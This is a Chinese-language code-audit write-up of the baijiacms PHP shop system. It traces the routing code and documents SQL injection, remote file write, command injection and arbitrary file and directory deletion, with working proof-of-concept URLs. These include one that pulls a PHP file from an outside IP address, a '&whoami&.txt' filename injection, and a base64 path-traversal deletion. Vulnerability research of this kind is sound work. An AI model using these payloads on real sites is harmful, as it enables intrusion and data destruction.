baijiacms-代码审计
黑盒测试
这里使用burp联动xray的方式进行被动型的漏洞扫描,同时也能让我们了解该cms的相关功能,对可能存在的功能点结合代码进行深入分析。
.\xray_windows_amd64.exe webscan --listen 127.0.0.1:7777 --html-output baijiacms.html
xray一开动就发现有所收获,order参数处存在时间注入与报错注入,cate参数处存在报错注入。
路由解析
我们在分析这个SQL注入之前,先对该cms的路由先要有基本的了解,通过路由跟踪到相应文件审计代码。
我们通过阅览商品的页面来对路由进行理解
http://baijia.test/index.php?mod=mobile&act=detail&do=shop&m=eshop&beid=1&id=1
该url存在6个参数,mod、act、do、m、beid、id
如果传入了mod参数,$mod = $_REQUEST[‘mod’] ,默认为’mobile’
if(!empty($_REQUEST['c']))
{
$mod=(empty($_REQUEST['c'])||$_REQUEST['c']=='entry')?'mobile':$_REQUEST['c'];
}else
{
$mod=empty($_REQUEST['mod'])?'mobile':$_REQUEST['mod'];
}
当$mod = ‘mobile’ ,则定义常量SYSTEM_ACT为mobile,否则为index。
do参数默认为shopindex
if(empty($_REQUEST['do']))
{
$_GET['do']="shopindex";
}
act参数如果传入就将值交给$_GET[‘act’],未传入$_GET[‘act’]值为shopwap.
if(!empty($_REQUEST['act']))
{
$_GET['act']=$_REQUEST['act'];
}else
{
$_GET['act']="shopwap";
}
继而包含includes/baijiacms.php
文件
在文件中,对外部输入的数组值进行了实体化的操作,然后定义了$_GP、$_CMS数组,将$_GET, $_POST, $_GP数组合并给了$_GP
$_GP = $_CMS = array();
$_GP = array_merge($_GET, $_POST, $_GP);
如果$_GP[‘m’]为空,则$modulename = $_GP[‘act’] ,否则$modulename = $_GP[‘m’]
if(empty($_GP['m']))
{
$modulename = $_GP['act'];
}else
{
$modulename = $_GP['m'];
}
if(empty($_GP['do'])||empty($modulename))
{
exit("do or act is null");
}
$_CMS['module']=$modulename;
$_CMS['beid']=$_GP['beid'];
当加载完配置文件则最后会包含/includes/baijiacms/runner.inc.php
. 该文件为路由解析文件
首先会做判断,这里判断为真,这里是对店铺的一个查询,并返回该店铺的相关信息,如这里的店铺号为1,店铺名为默认店铺
if(!empty($_CMS['beid'])&&SYSTEM_ACT=='mobile'&&($modulename=="shopwap"||$_CMS['isaddons']==true||$_GP['m']=='eshop'))
{
$t_set_shop=globalSetting('shop');
if(!empty($t_set_shop['close'])&&!empty($t_set_shop['closedetail']))
{
if(!empty($t_set_shop['closeurl']))
{
message($t_set_shop['closedetail'],$t_set_shop['closeurl'],'error');
}else
{
message($t_set_shop['closedetail']);
}
}
}
因此,进入到该文件后$modulename为”eshop”,$classname为”eshopAddons”
$classname = $modulename."Addons";
包含/system/common/mobile.php
,$file = /system/eshop/mobile.php
if(SYSTEM_ACT=='mobile')
{
require(WEB_ROOT.'/system/common/mobile.php');
$file = SYSTEM_ROOT . $modulename."/mobile.php";
}else
{
require(WEB_ROOT.'/system/common/web.php');
$file = SYSTEM_ROOT . $modulename."/web.php";
}
在/system/common/mobile.php
中会对用户状态进行判断
如果$_GP[‘m’]不为空,包含/system/common/common.php
,然后直接包含$file文件,如刚才的/system/eshop/mobile.php
if(!empty($_GP['m']))
{
require(WEB_ROOT.'/system/common/common.php');
}
require $file;
实例化$classname() ,设置其属性。
$class = new $classname();
$class->module = $modulename;
$class->inMobile = SYSTEM_ACT=='mobile';
接下来,会对$_GP[‘m’]的值做判断,如果不为eshop则进入到函数体。
这里又会对$class进行判断,如果当中存在BJexModule类,则进入函数体,然后将doMobile与$_GPC[‘do’]拼接作为$class的方法执行,到此一个基本的路由解析到文件执行方法就基本完成。
if($class instanceof BJexModule) {
$class->uniacid = $class->weid = $_W['uniacid'];
$class->modulename = $_W['module'];
$class->__define = $file;
$class->inMobile = defined('IN_MOBILE');
if(SYSTEM_ACT=='mobile')
{
define('IN_MOBILE', true);
$method = 'doMobile' . ucfirst($_GPC['do']);
if (method_exists($class, $method)) {
exit($class->$method());
}
exit();
}
SQL注入
上面分析了一种情况的路由,我们根据路由解析则可以通过刚才的url定位到,这里我们分析cate参数的报错注入
通过路由,会解析到/system/eshop/core/mobile/goods/index.php
$args = array('pagesize' => 10, 'page' => intval($_GPC['page']), 'isnew' => trim($_GPC['isnew']), 'ishot' => trim($_GPC['ishot']), 'isrecommand' => trim($_GPC['isrecommand']), 'isdiscount' => trim($_GPC['isdiscount']), 'istime' => trim($_GPC['istime']), 'issendfree' => trim($_GPC['issendfree']), 'keywords' => trim($_GPC['keywords']), 'cate' => trim($_GPC['cate']), 'order' => trim($_GPC['order']), 'by' => trim($_GPC['by']));
接下来在goods_getList,没有对$args[‘cate’]做过滤就直接将其值拼接进了$condition
if (!empty($args['cate'])) {
$condition .= ' AND ( pcate=' . $args['cate'] . ' or ccate=' . $args['cate'] . ' )';
}
然后将$condition拼接$sql
if (!$random) {
$sql = 'SELECT id,title,thumb,marketprice,productprice,sales,total,description FROM ' . tablename('eshop_goods') . ' where 1 ' . $condition . ' ORDER BY ' . $order . ' ' . $orderby . ' LIMIT ' . (($page - 1) * $pagesize) . ',' . $pagesize;
$total = pdo_fetchcolumn('select count(*) from ' . tablename('eshop_goods') . ' where 1 ' . $condition . ' ', $params);
}
else {
$sql = 'SELECT id,title,thumb,marketprice,productprice,sales,total,description FROM ' . tablename('eshop_goods') . ' where 1 ' . $condition . ' ORDER BY rand() LIMIT ' . $pagesize;
$total = $pagesize;
}
$list = pdo_fetchall($sql, $params);
$list = set_medias($list, 'thumb');
return array('list' => $list, 'total' => $total);
}
最后debug函数将执行的SQL语句和错误输出到页面上,造成报错注入
public function debug($errors,$sql="" ) {
if (!empty($errors[1])&&!empty($errors[1])&&$errors[1]!='00000') {
// print_r($errors);
exit($sql." ".$errors[2]);
}
return $errors;
}
自动化工具
在代码审计中,我们可以使用自动化工具来帮助我们的工作,常见的代码审计自动化工具有Seay、Fortify等。
这里咱们直接使用seay进行分析,不过在之前我们需要了解一下代码结构
addons 插件
api 接口
assets 静态文件
attachment 上传目录
cache 缓存目录
config 系统文件
include 系统文件
system 后端代码
像下面这些都是在系统文件中的公有函数,在后端逻辑代码中都有地方会对其进行调用,因此也是需要重点关注的内容之一
接下来就是支撑相关功能的后端代码,在这里也会产生安全问题
接下来我们对以上疑似存在漏洞的代码进行分析
远程文件写入
在/includes/baijiacms/common.inc.php有一个公有函数fetch_net_file_upload,file_put_contents($file_tmp_name, file_get_contents($url)) == false
,这里首先生成了取出了url的后缀,然后随机生成文件名,然后写入到上传目录下,因此如果url可控,就会造成远程文件写入漏洞。
function fetch_net_file_upload($url) {
$url = trim($url);
$extention = pathinfo($url,PATHINFO_EXTENSION );
$path = '/attachment/';
$extpath="{$extention}/" . date('Y/m/');
mkdirs(WEB_ROOT . $path . $extpath);
do {
$filename = random(15) . ".{$extention}";
} while(is_file(SYSTEM_WEBROOT . $path . $extpath. $filename));
$file_tmp_name = SYSTEM_WEBROOT . $path . $extpath. $filename;
$file_relative_path = $extpath. $filename;
if (file_put_contents($file_tmp_name, file_get_contents($url)) == false) {
$result['message'] = '提取失败.';
return $result;
}
$file_full_path = WEB_ROOT .$path . $extpath. $filename;
return file_save($file_tmp_name,$filename,$extention,$file_full_path,$file_relative_path);
}
通过全局搜索、查找使用,在/system/public/class/web/file.php中找到一处调用
if ($do == 'fetch') {
$url = trim($_GPC['url']);
$file=fetch_net_file_upload($url);
if (is_error($file)) {
$result['message'] = $file['message'];
die(json_encode($result));
}
}
首先我们在自己的vps中开启一个web服务,并放置一个php文件,通过路由构造出进入到该处的url,并要满足op=fetch
,url填写远程文件的地址,然后传递过去,返回了地址则就是我们远程文件已经下载到目标上
http://baijia.test/index.php?mod=web&act=public&do=file&beid=1&op=fetch&url=http://103.14.35.76:8000/test.php
命令执行
/includes/baijiacms/common.inc.php
第654行,system函数存在变量拼接,这是一个定义的file_save,凭借名字就能知道是保存文件相关的代码,主要拼接了$quality_command和$file_full_path,$file_full_path是传入的参数且函数内无过滤,如果外部可控即可能造成任意命令执行。
function file_save($file_tmp_name,$filename,$extention,$file_full_path,$file_relative_path,$allownet=true)
{
$settings=globaSystemSetting();
if(!file_move($file_tmp_name, $file_full_path)) {
return error(-1, '保存上传文件失败');
}
if(!empty($settings['image_compress_openscale']))
{
$scal=$settings['image_compress_scale'];
$quality_command='';
if(intval($scal)>0)
{
$quality_command=' -quality '.intval($scal);
}
system('convert'.$quality_command.' '.$file_full_path.' '.$file_full_path);
}
......
}
接下来我们就要去寻找该函数在哪调用过,这里可以使用Seay进行全局搜索
首先在公有文件中定义其他函数时也调用过这个函数,/system/weixin/class/web/setting.php
中直接调用过该函数
我们可以先看一下其他共有函数,根据上面的分析可知,我们要保证第四个参数可控,但是下图可以发现,这里通过随机数对文件名重命名,所以我们不能完全控制该传入参数
那我们到/system/weixin/class/web/setting.php
文件中看看传入该参数是否可控
if($extention=='txt')
{
$substr=substr($_SERVER['PHP_SELF'], 0, strrpos($_SERVER['PHP_SELF'], '/'));
if(empty( $substr))
{
$substr="/";
}
$verify_root= substr(WEB_ROOT."/",0, strrpos(WEB_ROOT."/", $substr))."/";
//file_save($file['tmp_name'],$file['name'],$extention,$verify_root.$file['name'],$verify_root.$file['name'],false);
file_save($file['tmp_name'],$file['name'],$extention,WEB_ROOT."/".$file['name'],WEB_ROOT."/".$file['name'],false);
if($verify_root!=WEB_ROOT."/")
{
copy(WEB_ROOT."/".$file['name'],$verify_root."/".$file['name']);
}
$cfg['weixin_hasverify']=$file['name'];
}else
{
message("不允许上传除txt结尾以外的文件");
}
如果$extention为txt就会进入到file_save函数中,第四个参数为WEB_ROOT.”/“.$file[‘name’],也就是说只要能控制$file[‘name’]就能够控制这个参数。
http://baijia.test/index.php?mod=site&act=weixin&do=setting&beid=1
上传文件的文件名为&whoami&.txt
,然后提交,不过并没有执行我们的命令。
因此我们在该处打上断点,通过调试来确定问题,发现在进入之前会存在一个判断!empty($settings['image_compress_openscale'])
,由于$settings[‘image_compress_openscale’] = “0”导致并未执行到system那段函数之中
通过追踪$settings变量,追踪到$_CMS['system_globa_setting']
发现这里由init.inc.php 文件中$_CMS['system_globa_setting']=globaPriveteSystemSetting();
引入进来的,通过globaPriveteSystemSetting
函数发现这里是对baijiacms_system_config数据表查询出来的值,因此我们只要能找到能更新该数据表的功能即可控制该值,发现函数refreshSystemSetting
是对baijiacms_system_config数据表的更新操作,我们查看哪里发生了调用,在\system\manager\class\web\netattach.php
中调用了该函数,直接访问该文件
http://baijia.test/index.php?mod=web&act=manager&do=netattach&beid=1
为一个附件设置的页面
不出所料的话,就是将图片压缩比例功能设置为开启状态,然后再重复上传&whoami&.txt
操作,我这里换成了执行ipconfig命令
任意文件删除
共有函数中file_delete中传入的参数未经过滤直接拼接$file_relative_path
function file_delete($file_relative_path) {
if(empty($file_relative_path)) {
return true;
}
$settings=globaSystemSetting();
if(!empty($settings['system_isnetattach']))
{
........
}else
{
if (is_file(SYSTEM_WEBROOT . '/attachment/' . $file_relative_path)) {
unlink(SYSTEM_WEBROOT . '/attachment/' . $file_relative_path);
return true;
}
}
return true;
}
全局搜索,查看该函数调用,/system/eshop/core/mobile/util/uploader.php文件中存在调用,当$operation == 'remove'
,会将file参数拼接路径,然后进行删除操作。
先在根目录下新建一个1.txt
这里可以通过删除/config/install.link来造成重装漏洞
目录删除
该函数会递归目录下所有文件并且删除
function rmdirs($path='',$isdir=false)
{
if(is_dir($path))
{
$file_list= scandir($path);
foreach ($file_list as $file)
{
if( $file!='.' && $file!='..')
{
if($file!='qrcode')
{
rmdirs($path.'/'.$file,true);
}
}
}
if($path!=WEB_ROOT.'/cache/')
{
@rmdir($path);
}
}
else
{
@unlink($path);
}
}
查看哪里对该函数进行了使用,/system/manager/class/web/database.php
252行
if($operation=='delete')
{
$d = base64_decode($_GP['id']);
$path = WEB_ROOT . '/config/data_backup/';
if(is_dir($path . $d)) {
rmdirs($path . $d);
message('备份删除成功!', create_url('site', array('act' => 'manager','do' => 'database','op'=>'restore')),'success');
}
}
如果进行删除操作,会将传入的id base64解码后拼接到路径上然后进入到rmdirs函数。
在根目录下新建一个test目录,../../test base64编码的结果为Li4vLi4vdGVzdA==
/index.php?mod=site&act=manager&do=database&op=delete&id=Li4vLi4vdGVzdA==&beid=1
poc输入之后发现根目录下的test目录已经被删除了